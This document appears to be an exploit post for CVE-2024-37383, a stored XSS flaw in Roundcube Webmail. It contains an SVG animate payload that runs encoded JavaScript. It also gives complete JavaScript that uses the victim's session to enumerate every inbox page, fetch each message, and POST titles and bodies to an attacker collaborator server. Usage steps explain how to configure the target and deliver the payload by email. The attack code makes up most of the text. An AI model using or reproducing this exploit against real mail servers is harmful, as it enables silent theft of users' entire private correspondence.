Roundcube mail server exploit for CVE-2024-37383 (Stored XSS)


# Exploit Title:  Roundcube mail server exploit for CVE-2024-37383 (Stored XSS)
# Google Dork:
# Exploit Author: AmirZargham
# Vendor Homepage:   Roundcube - Free and Open Source Webmail Software
# Software Link:     Releases · roundcube/roundcubemail
# Version: Roundcube client version earlier than 1.5.6 or from 1.6 to 1.6.6.    
# Tested on: firefox,chrome
# CVE:  CVE-2024-37383
# CWE: CWE-79 
# Platform: MULTIPLE
# Type: WebApps
            

Description

The CVE-2024-37383 vulnerability was discovered in the Roundcube Webmail email client. This is a stored XSS vulnerability that allows an attacker to execute JavaScript code on the user's page. To exploit the vulnerability, all attackers need to do is open a malicious email using a Roundcube client version earlier than 1.5.6 or from 1.6 to 1.6.6.

Usage Info:

1 - open the Roundcube_mail_server_exploit_for_CVE-2024-37383.js.

2 - Change the web address of the original email (target) and the URL of the receiving server (attacker server).

3 - You can put the code in file SVG tag and send it to the server. (It is recommended that you configure an SMTP server for send a malicious mail)


<svg>
<animate attributeName="href " values="javascript:eval(atob('BASE64_EXPLOIT_CODE'));" href="#link" />
</animate>
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>

4 - After the victim clicks, all emails in the mailbox will be sent to your collaborator server.

Exploit Code


// Configuration variables
var target = 'https://webmail.redacted.tld';
var attackerserver = 'https://oastify.com';

function getPageCount(url) {
    var req = new XMLHttpRequest();

    // Configure the request with credentials
    req.open('GET', url, true);
    req.withCredentials = true;

    // Define the response handler
    req.onload = function() {
        if (req.status === 200) {
            try {
                // Parse the response as JSON
                let jsonResponse = JSON.parse(req.responseText);

                // Access the pagecount field
                let pageCount = jsonResponse.env.pagecount;

                if (pageCount !== undefined) {
                    // Array to store all message IDs
                    let allMessageIds = [];
                    let completedRequests = 0; // Track the number of completed requests

                    // Loop to request each page
                    for (let page = 1; page <= pageCount; page++) {
                        (function(currentPage) {
                            var pageReq = new XMLHttpRequest();
                            // Construct the URL with the current page number
                            var paginatedUrl = `${url}&_page=${currentPage}`;

                            // Configure the request
                            pageReq.open('GET', paginatedUrl, true);
                            pageReq.withCredentials = true;

                            // Define the response handler for each page
                            pageReq.onload = function() {
                                if (pageReq.status === 200) {
                                    try {
                                        // Get the response text
                                        let responseText = pageReq.responseText;

                                        // Use a regex to find all instances of this.add_message_row(NUMBER)
                                        let messageRowRegex = /this\.add_message_row\((\d+)/g;
                                        let matches;

                                        // Find all matches and extract the numbers
                                        while ((matches = messageRowRegex.exec(responseText)) !== null) {
                                            allMessageIds.push(matches[1]);
                                        }

                                    } catch (error) {
                                        // Error handling for page processing
                                    }
                                }
                                completedRequests++; // Increment completed request count
                                // Check if all requests are completed
                                if (completedRequests === pageCount) {
                                    // Loop through all message IDs and create URLs using each one
                                    allMessageIds.forEach(id => {
                                        // Construct a new URL with the current message ID
                                        const newUrl = `${target}/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=${id}&_mbox=INBOX&_framed=1&_action=preview`;

                                        // Make a request for each constructed URL
                                        (function(currentUrl) {
                                            var messageReq = new XMLHttpRequest();
                                            messageReq.open('GET', currentUrl, true);
                                            messageReq.withCredentials = true;

                                            // Define the response handler for the message request
                                            messageReq.onload = function() {
                                                if (messageReq.status === 200) {
                                                    // Get the response text
                                                    let messageResponseText = messageReq.responseText;

                                                    // Extract title content using regex
                                                    let titleMatch = messageResponseText.match(/< title>(.*?)<\/title>/);
                                                    let title = titleMatch ? titleMatch[1] : "No Title";

                                                    // Use regex to extract the main message content
                                                    var regex = /([\s\S]*?)<\/div>/g;
                                                    let messageMatches;
                                                    while ((messageMatches = regex.exec(messageResponseText)) !== null) {
                                                        // Clean HTML tags from the message content
                                                        let cleanMessage = messageMatches[1].replace(/<\/?[^>]+(>|$)/g, ""); // Remove HTML tags

                                                        // Send the cleaned message and title to the user via POST request
                                                        sendMessageToUser(cleanMessage.trim(), title);
                                                    }
                                                }
                                            };

                                            // Handle network errors for message request
                                            messageReq.onerror = function() {
                                                // Error handling for message request
                                            };

                                            // Send the request for the current message URL
                                            messageReq.send();
                                        })(newUrl);
                                    });
                                }
                            };

                            // Handle network errors for page request
                            pageReq.onerror = function() {
                                completedRequests++; // Increment completed request count even on error
                            };

                            // Send the request for the current page
                            pageReq.send();
                        })(page);
                    }
                }
            } catch (error) {
                // Error handling for JSON parsing
            }
        }
    };

    // Handle network errors for initial request
    req.onerror = function() {
        // Error handling for initial request
    };

    // Send the request
    req.send();
}

// Function to send cleaned message and title to the specified user via POST request
function sendMessageToUser(message, title) {
    var postReq = new XMLHttpRequest();
    postReq.open('POST', attackerserver, true);
    postReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

    // Define the response handler for the POST request
    postReq.onload = function() {
        // Response handler for successful send
    };

    // Handle network errors for sending message
    postReq.onerror = function() {
        // Error handling for message send
    };

    // Send the POST request with the URL-encoded title and message content
    postReq.send(`title=${encodeURIComponent(title)}&message=${encodeURIComponent(message)}`);
}

// Usage
var url = `${target}/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1730525119718&_=1730525069360`;
getPageCount(url);



            

Steps to Reproduce

  1. Step 1: Setup URLs:
  2. The main webmail URL (target) and the receiving server URL (attackerserver) are defined as variables at the beginning for easy configuration.

  3. Step 2: Get Total Page Count:
  4. The getPageCount function sends a GET request to the main webmail URL to fetch metadata, including the total number of pages (pagecount). If pagecount is found, it proceeds to loop through each page.

  5. Step 3: Fetch Message IDs from All Pages:
  6. For each page from 1 to pagecount, it constructs a paginated URL to request that page. Each page’s response is checked for instances of add_message_row(NUMBER) using regex, extracting message IDs from each instance and collecting all IDs in a single list.

  7. Step 4: Retrieve Each Message's Content:
  8. For each message ID, the code constructs a URL to request detailed data about that message. It sends a GET request for each message ID URL, receiving the full response HTML.

  9. Step 5: Extract and Clean Message Data:
  10. Within each message response, it uses regex to capture the title (message title) and main message content. Any HTML tags are stripped from the message content to keep only the plain text.

  11. Step 6: Extract and Clean Message Data:
  12. For each extracted message, a POST request is made to the server endpoint with the title and cleaned message content, URL-encoded for proper transmission.

0day.today